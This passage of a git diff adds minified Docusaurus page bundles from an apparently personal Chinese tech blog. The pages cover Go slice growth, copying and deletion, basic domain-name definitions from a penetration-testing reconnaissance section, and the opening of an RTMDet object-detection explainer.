\u91cd\u5e86]\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u5207\u7247\u7684\u6269\u5bb9\u7b56\u7565",children:"\u5207\u7247\u7684\u6269\u5bb9\u7b56\u7565"}),"\n",(0,s.jsxs)(e.p,{children:["\u53ef\u4ee5\u901a\u8fc7\u67e5\u770b",(0,s.jsx)(e.code,{children:"$GOROOT/src/runtime/slice.go"}),"\u6e90\u7801\uff0c\u5176\u4e2d\u6269\u5bb9\u76f8\u5173\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"newcap := old.cap\ndoublecap := newcap + newcap\nif cap > doublecap {\n\tnewcap = cap\n} else {\n\tif old.len < 1024 {\n\t\tnewcap = doublecap\n\t} else {\n\t\t// Check 0 < newcap to detect overflow\n\t\t// and prevent an infinite loop.\n\t\tfor 0 < newcap && newcap < cap {\n\t\t\tnewcap += newcap / 4\n\t\t}\n\t\t// Set newcap to the requested cap when\n\t\t// the newcap calculation overflowed.\n\t\tif newcap <= 0 {\n\t\t\tnewcap = cap\n\t\t}\n\t}\n}\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u4ece\u4e0a\u9762\u7684\u4ee3\u7801\u53ef\u4ee5\u770b\u51fa\u4ee5\u4e0b\u5185\u5bb9\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u9996\u5148\u5224\u65ad\uff0c\u5982\u679c\u65b0\u7533\u8bf7\u5bb9\u91cf\uff08cap\uff09\u5927\u4e8e2\u500d\u7684\u65e7\u5bb9\u91cf\uff08old.cap\uff09\uff0c\u6700\u7ec8\u5bb9\u91cf\uff08newcap\uff09\u5c31\u662f\u65b0\u7533\u8bf7\u7684\u5bb9\u91cf\uff08cap\uff09\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u5426\u5219\u5224\u65ad\uff0c\u5982\u679c\u65e7\u5207\u7247\u7684\u957f\u5ea6\u5c0f\u4e8e1024\uff0c\u5219\u6700\u7ec8\u5bb9\u91cf(newcap)\u5c31\u662f\u65e7\u5bb9\u91cf(old.cap)\u7684\u4e24\u500d\uff0c\u5373\uff08newcap=doublecap\uff09\uff0c"}),"\n",(0,s.jsxs)(e.li,{children:["\u5426\u5219\u5224\u65ad\uff0c\u5982\u679c\u65e7\u5207\u7247\u957f\u5ea6\u5927\u4e8e\u7b49\u4e8e1024\uff0c\u5219\u6700\u7ec8\u5bb9\u91cf\uff08newcap\uff09\u4ece\u65e7\u5bb9\u91cf\uff08old.cap\uff09\u5f00\u59cb\u5faa\u73af\u589e\u52a0\u539f\u6765\u76841/4\uff0c\u5373",(0,s.jsx)(e.code,{children:"\uff08newcap=old.cap,for {newcap += newcap/4}\uff09"}),"\u76f4\u5230\u6700\u7ec8\u5bb9\u91cf\uff08newcap\uff09\u5927\u4e8e\u7b49\u4e8e\u65b0\u7533\u8bf7\u7684\u5bb9\u91cf(cap)\uff0c\u5373\uff08newcap >= cap\uff09"]}),"\n",(0,s.jsx)(e.li,{children:"\u5982\u679c\u6700\u7ec8\u5bb9\u91cf\uff08cap\uff09\u8ba1\u7b97\u503c\u6ea2\u51fa\uff0c\u5219\u6700\u7ec8\u5bb9\u91cf\uff08cap\uff09\u5c31\u662f\u65b0\u7533\u8bf7\u5bb9\u91cf\uff08cap\uff09\u3002"}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5207\u7247\u6269\u5bb9\u8fd8\u4f1a\u6839\u636e\u5207\u7247\u4e2d\u5143\u7d20\u7684\u7c7b\u578b\u4e0d\u540c\u800c\u505a\u4e0d\u540c\u7684\u5904\u7406\uff0c\u6bd4\u5982",(0,s.jsx)(e.code,{children:"int"}),"\u548c",(0,s.jsx)(e.code,{children:"string"}),"\u7c7b\u578b\u7684\u5904\u7406\u65b9\u5f0f\u5c31\u4e0d\u4e00\u6837\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"\u4f7f\u7528copy\u51fd\u6570\u590d\u5236\u5207\u7247",children:"\u4f7f\u7528copy()\u51fd\u6570\u590d\u5236\u5207\u7247"}),"\n",(0,s.jsx)(e.p,{children:"\u9996\u5148\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u95ee\u9898\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\ta := []int{1, 2, 3, 4, 5}\n\tb := a\n\tfmt.Println(a) //[1 2 3 4 5]\n\tfmt.Println(b) //[1 2 3 4 5]\n\tb[0] = 1000\n\tfmt.Println(a) //[1000 2 3 4 5]\n\tfmt.Println(b) //[1000 2 3 4 5]\n}\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u7531\u4e8e\u5207\u7247\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u6240\u4ee5a\u548cb\u5176\u5b9e\u90fd\u6307\u5411\u4e86\u540c\u4e00\u5757\u5185\u5b58\u5730\u5740\u3002\u4fee\u6539b\u7684\u540c\u65f6a\u7684\u503c\u4e5f\u4f1a\u53d1\u751f\u53d8\u5316\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u5185\u5efa\u7684",(0,s.jsx)(e.code,{children:"copy()"}),"\u51fd\u6570\u53ef\u4ee5\u8fc5\u901f\u5730\u5c06\u4e00\u4e2a\u5207\u7247\u7684\u6570\u636e\u590d\u5236\u5230\u53e6\u5916\u4e00\u4e2a\u5207\u7247\u7a7a\u95f4\u4e2d\uff0c",(0,s.jsx)(e.code,{children:"copy()"}),"\u51fd\u6570\u7684\u4f7f\u7528\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"copy(destSlice, srcSlice []T)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"srcSlice: \u6570\u636e\u6765\u6e90\u5207\u7247"}),"\n",(0,s.jsx)(e.li,{children:"destSlice: \u76ee\u6807\u5207\u7247"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\t// copy()\u590d\u5236\u5207\u7247\n\ta := []int{1, 2, 3, 4, 5}\n\tc := make([]int, 5, 5)\n\tcopy(c, a) //\u4f7f\u7528copy()\u51fd\u6570\u5c06\u5207\u7247a\u4e2d\u7684\u5143\u7d20\u590d\u5236\u5230\u5207\u7247c\n\tfmt.Println(a) //[1 2 3 4 5]\n\tfmt.Println(c) //[1 2 3 4 5]\n\tc[0] = 1000\n\tfmt.Println(a) //[1 2 3 4 5]\n\tfmt.Println(c) //[1000 2 3 4 5]\n}\n"})}),"\n",(0,s.jsx)(e.h2,{id:"\u4ece\u5207\u7247\u4e2d\u5220\u9664\u5143\u7d20",children:"\u4ece\u5207\u7247\u4e2d\u5220\u9664\u5143\u7d20"}),"\n",(0,s.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u5e76\u6ca1\u6709\u5220\u9664\u5207\u7247\u5143\u7d20\u7684\u4e13\u7528\u65b9\u6cd5\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5207\u7247\u672c\u8eab\u7684\u7279\u6027\u6765\u5220\u9664\u5143\u7d20\u3002 \u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\t// \u4ece\u5207\u7247\u4e2d\u5220\u9664\u5143\u7d20\n\ta := []int{30, 31, 32, 33, 34, 35, 36, 37}\n\t// \u8981\u5220\u9664\u7d22\u5f15\u4e3a2\u7684\u5143\u7d20\n\ta = append(a[:2], a[3:]...)\n\tfmt.Println(a) //[30 31 33 34 35 36 37]\n}\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u603b\u7ed3\u4e00\u4e0b\u5c31\u662f\uff1a\u8981\u4ece\u5207\u7247a\u4e2d\u5220\u9664\u7d22\u5f15\u4e3a",(0,s.jsx)(e.code,{children:"index"}),"\u7684\u5143\u7d20\uff0c\u64cd\u4f5c\u65b9\u6cd5\u662f",(0,s.jsx)(e.code,{children:"a = append(a[:index], a[index+1:]...)"})]})]})}function o(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(h,{...n})}):h(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/6d1d7c0c.9372a108.js b/en/assets/js/6d1d7c0c.9372a108.js new file mode 100644 index 0000000..bfcc2e6 --- /dev/null +++ b/en/assets/js/6d1d7c0c.9372a108.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8039],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>o});var s=n(96540);const r={},l=s.createContext(r);function c(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function o(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),s.createElement(l.Provider,{value:t},e.children)}},91935:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>o,default:()=>h,frontMatter:()=>c,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/README","title":"\u4e3b\u57df\u540d\u6536\u96c6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u4fe1\u606f\u6536\u96c6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/"},"next":{"title":"ICP\u5907\u6848\u67e5\u8be2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2"}}');var r=n(74848),l=n(28453);const c={},o="\u4e3b\u57df\u540d\u6536\u96c6",i={},a=[];function d(e){const t={a:"a",blockquote:"blockquote",h1:"h1",header:"header",img:"img",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u4e3b\u57df\u540d\u6536\u96c6",children:"\u4e3b\u57df\u540d\u6536\u96c6"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 09:50:48"})]})})]}),"\n",(0,r.jsxs)(t.p,{children:[(0,r.jsx)(t.strong,{children:"\u57df\u540d"}),"\uff08\u82f1\u8bed\uff1aDomain Name\uff09\uff0c\u53c8\u79f0\u7f51\u57df\uff0c\u662f\u7531\u4e00\u4e32\u7528\u70b9\u5206\u9694\u7684\u540d\u5b57\u7ec4\u6210\u7684Internet\u4e0a\u67d0\u4e00\u53f0\u8ba1\u7b97\u673a\u6216\u8ba1\u7b97\u673a\u7ec4\u7684\u540d\u79f0\uff0c\u7528\u4e8e\u5728\u6570\u636e\u4f20\u8f93\u65f6\u5bf9\u8ba1\u7b97\u673a\u7684\u5b9a\u4f4d\u6807\u8bc6\uff08\u6709\u65f6\u4e5f\u6307\u5730\u7406\u4f4d\u7f6e\uff09\u3002\u7531\u4e8eIP\u5730\u5740\u5177\u6709\u4e0d\u65b9\u4fbf\u8bb0\u5fc6\u5e76\u4e14\u4e0d\u80fd\u663e\u793a\u5730\u5740\u7ec4\u7ec7\u7684\u540d\u79f0\u548c\u6027\u8d28\u7b49\u7f3a\u70b9\uff0c\u4eba\u4eec\u8bbe\u8ba1\u51fa\u4e86\u57df\u540d\uff0c\u5e76\u901a\u8fc7\u7f51\u57df\u540d\u79f0\u7cfb\u7edf\u6765\u5c06\u57df\u540d\u548cIP\u5730\u5740\u76f8\u4e92\u6620\u5c04\uff0c\u4f7f\u4eba\u66f4\u65b9\u4fbf\u5730\u8bbf\u95ee\u4e92\u8054\u7f51\uff0c\u800c\u4e0d\u7528\u53bb\u8bb0\u4f4f\u80fd\u591f\u88ab\u673a\u5668\u76f4\u63a5\u8bfb\u53d6\u7684IP\u5730\u5740\u6570\u4e32\u3002"]}),"\n",(0,r.jsxs)(t.blockquote,{children:["\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.strong,{children:"\u9876\u7ea7\u57df\u540d/\u4e00\u7ea7\u57df\u540d\uff1a"})}),"\n",(0,r.jsxs)(t.p,{children:["\u9876\u7ea7\u57df\uff08\u6216\u9876\u7ea7\u57df\u540d\uff0c\u4e5f\u79f0\u4e3a\u4e00\u7ea7\u57df\u540d\uff09\uff0c\u662f\u4e92\u8054\u7f51DNS\u7b49\u7ea7\u4e4b\u4e2d\u7684\u6700\u9ad8\u7ea7\u7684\u57df\uff0c\u5b83\u4fdd\u5b58\u4e8eDNS\u6839\u57df\u7684\u540d\u5b57\u7a7a\u95f4\u4e2d\u3002\u9876\u7ea7\u57df\u540d\u662f\u57df\u540d\u7684\u6700\u540e\u4e00\u4e2a\u90e8\u5206\uff0c\u5373\u662f\u57df\u540d\u6700\u540e\u4e00\u70b9\u4e4b\u540e\u7684\u5b57\u6bcd\uff0c\u4f8b\u5982\u5728",(0,r.jsx)(t.a,{href:"http://www.example.com%E8%BF%99%E4%B8%AA%E5%9F%9F%E5%90%8D%E4%B8%AD%EF%BC%8C**%E9%A1%B6%E7%BA%A7%E5%9F%9F%E6%98%AF****.com**%E3%80%82",children:"http://www.example.com\u8fd9\u4e2a\u57df\u540d\u4e2d\uff0c**\u9876\u7ea7\u57df\u662f****.com**\u3002"})]}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.strong,{children:"\u4e8c\u7ea7\u57df\u540d\uff1a"})}),"\n",(0,r.jsxs)(t.p,{children:["\u9664\u4e86\u9876\u7ea7\u57df\u540d\uff0c\u8fd8\u6709\u4e8c\u7ea7\u57df\u540d\uff0c\u5c31\u662f\u6700\u9760\u8fd1\u9876\u7ea7\u57df\u540d\u5de6\u4fa7\u7684\u5b57\u6bb5\u3002\u4f8b\u5982\u5728",(0,r.jsx)(t.a,{href:"http://www.example.com%E8%BF%99%E4%B8%AA%E5%9F%9F%E5%90%8D%E4%B8%AD%EF%BC%8Cexample%E5%B0%B1%E6%98%AF%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D%E3%80%82",children:"http://www.example.com\u8fd9\u4e2a\u57df\u540d\u4e2d\uff0cexample\u5c31\u662f\u4e8c\u7ea7\u57df\u540d\u3002"})]}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.strong,{children:"\u5b50\u57df\u540d\uff1a"})}),"\n",(0,r.jsx)(t.p,{children:"\u5b50\u57df\u540d\uff08\u6216\u5b50\u57df\uff1b\u82f1\u8bed\uff1aSubdomain\uff09\u662f\u5728\u57df\u540d\u7cfb\u7edf\u7b49\u7ea7\u4e2d\uff0c\u5c5e\u4e8e\u66f4\u9ad8\u4e00\u5c42\u57df\u7684\u57df\u3002\u6bd4\u5982\uff0cmail.example.com\u548ccalendar.example.com\u662fexample.com\u7684\u4e24\u4e2a\u5b50\u57df\uff0c\u800cexample.com\u5219\u662f\u9876\u7ea7\u57df.com\u7684\u5b50\u57df\u3002\u51e1\u9876\u7ea7\u57df\u540d\u524d\u52a0\u524d\u7f00\u7684\u90fd\u662f\u8be5\u9876\u7ea7\u57df\u540d\u7684\u5b50\u57df\u540d\uff0c\u800c\u5b50\u57df\u540d\u6839\u636e\u6280\u672f\u7684\u591a\u5c11\u5206\u4e3a\u4e8c\u7ea7\u5b50\u57df\u540d\uff0c\u4e09\u7ea7\u5b50\u57df\u540d\u4ee5\u53ca\u591a\u7ea7\u5b50\u57df\u540d\u3002"}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/6d479a83.403e7067.js b/en/assets/js/6d479a83.403e7067.js new file mode 100644 index 0000000..3b9ca83 --- /dev/null +++ b/en/assets/js/6d479a83.403e7067.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6667],{28453:(e,n,s)=>{s.d(n,{R:()=>i,x:()=>r});var d=s(96540);const l={},c=d.createContext(l);function i(e){const n=d.useContext(c);return d.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:i(e.components),d.createElement(c.Provider,{value:n},e.children)}},79273:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>t,contentTitle:()=>r,default:()=>x,frontMatter:()=>i,metadata:()=>d,toc:()=>h});const d=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description","title":"rtmdet_description.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"model_design.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design"},"next":{"title":"yolov5_description.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description"}}');var l=s(74848),c=s(28453);const i={},r="rtmdet_description.md",t={},h=[{value:"0 \u7b80\u4ecb",id:"0-\u7b80\u4ecb",level:2},{value:"1 v1.0 \u7b97\u6cd5\u539f\u7406\u548c MMYOLO \u5b9e\u73b0\u89e3\u6790",id:"1-v10-\u7b97\u6cd5\u539f\u7406\u548c-mmyolo-\u5b9e\u73b0\u89e3\u6790",level:2},{value:"1.1 \u6570\u636e\u589e\u5f3a\u6a21\u5757",id:"11-\u6570\u636e\u589e\u5f3a\u6a21\u5757",level:3},{value:"1.1.1 \u4e3a\u56fe\u50cf\u6df7\u5408\u6570\u636e\u589e\u5f3a\u5f15\u5165 Cache",id:"111-\u4e3a\u56fe\u50cf\u6df7\u5408\u6570\u636e\u589e\u5f3a\u5f15\u5165-cache",level:4},{value:"1.1.2 Mosaic",id:"112-mosaic",level:4},{value:"1.1.3 MixUp",id:"113-mixup",level:4},{value:"1.1.4 \u5f3a\u5f31\u4e24\u9636\u6bb5\u8bad\u7ec3",id:"114-\u5f3a\u5f31\u4e24\u9636\u6bb5\u8bad\u7ec3",level:4},{value:"1.2 \u6a21\u578b\u7ed3\u6784",id:"12-\u6a21\u578b\u7ed3\u6784",level:3},{value:"1.2.1 Backbone",id:"121-backbone",level:4},{value:"1.2.2 CSPNeXt Block",id:"122-cspnext-block",level:4},{value:"1.2.3 \u8c03\u6574\u68c0\u6d4b\u5668\u4e0d\u540c stage \u95f4\u7684 block \u6570",id:"123-\u8c03\u6574\u68c0\u6d4b\u5668\u4e0d\u540c-stage-\u95f4\u7684-block-\u6570",level:4},{value:"1.2.4 Neck",id:"124-neck",level:4},{value:"1.2.5 Backbone \u4e0e Neck \u4e4b\u95f4\u7684\u53c2\u6570\u91cf\u548c\u8ba1\u7b97\u91cf\u7684\u5747\u8861",id:"125-backbone-\u4e0e-neck-\u4e4b\u95f4\u7684\u53c2\u6570\u91cf\u548c\u8ba1\u7b97\u91cf\u7684\u5747\u8861",level:4},{value:"1.2.6 Head",id:"126-head",level:4},{value:"1.3 \u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565",id:"13-\u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565",level:3},{value:"1.3.1 Bbox \u7f16\u89e3\u7801\u8fc7\u7a0b",id:"131-bbox-\u7f16\u89e3\u7801\u8fc7\u7a0b",level:4},{value:"1.3.2 \u5339\u914d\u7b56\u7565",id:"132-\u5339\u914d\u7b56\u7565",level:4},{value:"1.4 Loss \u8bbe\u8ba1",id:"14-loss-\u8bbe\u8ba1",level:3},{value:"QualityFocalLoss",id:"qualityfocalloss",level:4},{value:"GIoULoss",id:"giouloss",level:4},{value:"1.5 \u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b",id:"15-\u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b",level:3},{value:"1.6 \u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b",id:"16-\u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b",level:3},{value:"2 \u603b\u7ed3",id:"2-\u603b\u7ed3",level:2}];function o(e){const n={a:"a",code:"code",div:"div",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"rtmdet_descriptionmd",children:"rtmdet_description.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:40"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,l.jsx)(n.h1,{id:"rtmdet-\u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790",children:"RTMDet \u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"}),"\n",(0,l.jsx)(n.h2,{id:"0-\u7b80\u4ecb",children:"0 \u7b80\u4ecb"}),"\n",(0,l.jsx)(n.p,{children:"\u9ad8\u6027\u80fd\uff0c\u4f4e\u5ef6\u65f6\u7684\u5355\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u5668"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{alt:"RTMDet_structure_v1.2",src:"https://user-images.githubusercontent.com/27466624/200001002-008ac696-e74d-4da1-9c6d-07149e2ad752.jpg"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u4ee5\u4e0a\u7ed3\u6784\u56fe\u7531 RangeKing@github \u7ed8\u5236\u3002"}),"\n",(0,l.jsxs)(n.p,{children:["\u6700\u8fd1\u4e00\u6bb5\u65f6\u95f4\uff0c\u5f00\u6e90\u754c\u6d8c\u73b0\u51fa\u4e86\u5927\u91cf\u7684\u9ad8\u7cbe\u5ea6\u76ee\u6807\u68c0\u6d4b\u9879\u76ee\uff0c\u5176\u4e2d\u6700\u7a81\u51fa\u7684\u5c31\u662f YOLO \u7cfb\u5217\uff0cOpenMMLab \u4e5f\u5728\u4e0e\u793e\u533a\u7684\u5408\u4f5c\u4e0b\u63a8\u51fa\u4e86 MMYOLO\u3002\n\u5728\u8c03\u7814\u4e86\u5f53\u524d YOLO \u7cfb\u5217\u7684\u8bf8\u591a\u6539\u8fdb\u6a21\u578b\u540e\uff0cMMDetection \u6838\u5fc3\u5f00\u53d1\u8005\u9488\u5bf9\u8fd9\u4e9b\u8bbe\u8ba1\u4ee5\u53ca\u8bad\u7ec3\u65b9\u5f0f\u8fdb\u884c\u4e86\u7ecf\u9a8c\u6027\u7684\u603b\u7ed3\uff0c\u5e76\u8fdb\u884c\u4e86\u4f18\u5316\uff0c\u63a8\u51fa\u4e86\u9ad8\u7cbe\u5ea6\u3001\u4f4e\u5ef6\u65f6\u7684\u5355\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u5668 RTMDet, ",(0,l.jsx)(n.strong,{children:"R"}),"eal-",(0,l.jsx)(n.strong,{children:"t"}),"ime ",(0,l.jsx)(n.strong,{children:"M"}),"odels for Object ",(0,l.jsx)(n.strong,{children:"Det"}),"ection\n(",(0,l.jsx)(n.strong,{children:"R"}),"elease ",(0,l.jsx)(n.strong,{children:"t"}),"o ",(0,l.jsx)(n.strong,{children:"M"}),"anufacture)"]}),"\n",(0,l.jsx)(n.p,{children:"RTMDet 